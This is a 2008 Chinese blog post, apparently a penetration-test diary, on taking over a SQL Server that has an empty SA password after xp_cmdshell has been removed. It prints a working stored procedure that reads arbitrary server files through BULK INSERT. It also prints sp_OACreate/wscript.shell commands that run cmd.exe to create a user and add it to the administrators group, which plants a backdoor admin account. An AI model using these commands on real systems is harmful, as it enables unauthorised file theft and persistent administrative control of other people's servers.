2008年11月17日星期一

SQL Server SA空口令的渗透测试日记

前几天朋友找我,让我帮忙测试一下他们的服务器,经过扫描后发现SQLServer的SA为空,决定利用这个漏洞做渗透测试。经过测试发现存储过程Xp_cmdshell以及读取注册表系列的存储过程都被删除了,并且Xplog70.dll也被删除,所以无法执行CMD命令和克隆管理员帐号了,看样子是经过安全配置的,这种情况据我当时掌握的知识是没办法入侵的。以前也遇到过类似的机器,所以决定利用几天的时间解决这个问题。

经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:

Create proc sp_readTextFile @filename sysname
as

begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go



这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:

exec sp_readTextFile 'c:\aaa.asp'




实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同Xp_cmdshell以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:

打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:


DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user
ceshi 1 /add'--



这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
administrators ceshi /add '--




用户ceshi,被加入管理员组。

总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。

没有评论:

关注者